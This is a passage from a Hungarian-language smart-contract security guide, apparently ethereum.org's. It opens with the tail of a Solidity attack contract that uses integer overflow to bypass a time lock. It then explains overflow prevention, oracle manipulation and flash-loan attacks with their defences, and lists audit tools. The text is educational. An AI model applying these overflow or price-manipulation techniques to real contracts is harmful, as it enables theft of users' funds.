62 type(uint).max + 1 - timeLock.lockTime(address(this))
63 );
64 timeLock.withdraw();
65 }
66}
Összes megjelenítése
Hogyan akadályozható meg egy egész szám túlfolyása lefelé vagy felfelé

A 0.8.0 verzió szerint a Solidity átfordító elutasítja azokat a kódokat, amelyek az egész szám túlfolyását eredményezik. Ugyanakkor az alacsonyabb verziójú átfordítóval készült szerződések esetén ellenőrizni kell azokat a függvényeket, amelyek aritmetikai műveleteket hajtanak végre, vagy egy olyan könyvtárat lehet használni (például SafeMath(opens in a new tab)), amely ellenőrzi a túlfolyásokat.

Orákulum manipulációja

Az orákulumok láncon kívüli információkat gyűjtenek és beküldik azokat a láncra, hogy az okosszerződések használhassák. Az orákulumok révén Ön olyan okosszerződéseket tervezhet, amelyek együtt tudnak működni láncon kívüli rendszerekkel, mint a tőkepiacok, ezzel nagy mértékben kiterjesztve az alkalmazási körüket.

Ha viszont az orákulum korrupttá válik és nem helyes információkat küld a láncra, az okosszerződések hibás bejövő adatok alapján fognak működni, ez pedig problémákat okoz. Ez az „orákulumprobléma” alapja, amely miatt biztosítani kell, hogy a blokklánc-orákulum által adott információ pontos, friss és időben elérhető legyen.

Az ehhez kapcsolódó biztonsági probléma az, amikor például egy decentralizált tőzsde a láncon belüli orákulumot használja arra, hogy megszerezze egy eszköz azonnali (spot) árát. A kölcsönző platformok a decentralizált pénzügyek (DeFi) iparágában gyakran csinálják ezt, hogy meghatározzák a felhasználó fedezetének értékét, és ezáltal a kölcsön mértékét.

A DEX árak gyakran igen pontosak, akár nagy mértékben is, mivel az arbitrázst kihasználók helyreállítják a piacokon az egyensúlyt. Ugyanakkor teret adnak a manipulációra, főleg ha a láncon futó orákulum az eszköz árát a korábbi kereskedelmi minták alapján számolja (ami általában igaz).

Például egy támadó mesterségesen fel tudja pumpálni egy eszköz azonnali árát azáltal, hogy egy villámkölcsönt vesz fel éppen a kölcsönszerződés megkötése előtt. Ekkor a DEX lekérdezés az eszköz áráról egy magasabb értéket fog mutatni (mivel a támadó nagy összegű vételi igénye elmozdította az eszköz keresletét), így magasabb kölcsönt vehetnek fel, mint amit lehetne. Az ilyen „villámkölcsön-támadások” kihasználták azt, hogy a DeFi alkalmazások az orákulumokra támaszkodnak az árakat tekintve, és így sok milliónyi elveszett pénzeszközt eredményeztek a protokolloknak.

Hogyan lehet elkerülni az oracle manipulációt

A minimum követelmény az oracle manipuláció elkerülésére(opens in a new tab) az, hogy decentralizált oracle-hálózatokat kell használni, amelyek több forrásból szerzik be az információkat, így elkerülhető az egyetlen meghibásodási pont lehetősége. A legtöbb esetben a decentralizált orákulumoknak beépített kriptogazdasági ösztönzőik vannak, hogy az orákulum-csomópontok a helyes információt jelentsék, így sokkal biztonságosabbak, mint a centralizált társaik.

Ha Ön azt tervezi, hogy egy láncon lévő orákulumot kérdez le eszközárakért, akkor használjon olyat, amely idővel súlyozott átlagárat (TWAP) számol. A TWAP-orákulum(opens in a new tab) egy adott eszköz árát két különböző időpontban (ami módosítható) kérdezi le, és a megszerzett átlaga alapján kalkulálja az azonnali árat. A hosszabb időtartomány használata megvédi a protokollt az ármanipulációtól, mert a közelmúltban végrehajtott nagy rendelések nem befolyásolják az árat.

Okosszerződés-biztonsággal kapcsolatos anyagok fejlesztők számára

Eszközök az okosszerződések elemzéséhez és a kód helyességének ellenőrzéséhez

  • Tesztelő eszközök és könyvtárakIparági standard eszközök és könyvtárak gyűjteménye az okosszerződések egységteszteléséhez, valamint a statikus és dinamikus elemzéséhez.

  • Formális ellenőrzési (formal verification) eszközökEszközök arra, hogy ellenőrizzék az okosszerződések funkcionális helyességét és az állandókat.

  • Okosszerződés auditálásra vonatkozó szolgáltatásokSzervezetek listája, amelyek auditszolgáltatást kínálnak okosszerződésekre az Ethereum fejlesztési projektek számára.

  • Hibavadász platformokPlatformok a hibavadászatok és a jutalmak koordinálására, hogy azok feltárják az okosszerződésekben lévő kritikus sebezhetőségeket.

  • Fork Checker(opens in a new tab)Egy ingyenes online eszköz arra, hogy információt kapjon egy elágaztatott szerződésről.

  • ABI Encoder(opens in a new tab)Egy ingyenes online szolgáltatás a Solidity szerződés függvényeinek és constructor parancsainak kódolására.

Eszközök az okosszerződések felügyeletére

Eszközök az okosszerződések biztonságos adminisztrálásához

Okosszerződés auditálására kínált szolgáltatások

Hibavadászplatformok

Publikációk az okosszerződések ismert sebezhetőségeiről és azok kihasználásáról

Kihívások az okosszerződés-biztonság elsajátításában

Bevált gyakorlatok az okosszerződések biztonságossá tételére

Útmutatók az okosszerződés-biztonságról

  • Hogyan lehet biztonságosabb okosszerződéskódot írni

  • A Slither használata okosszerződés bugok felderítésére

  • A Manticore használata az okosszerződés hibáinak felderítésére

  • Smart contract security guidelines

  • Hogyan lehet biztonságosan integrálni a tokenszerződést tetszőleges tokenekkel

  • Cyfrin Updraft – Okosszerződések biztonsága és auditálása tanfolyam(opens in a new tab)

Hasznosnak találta a cikket?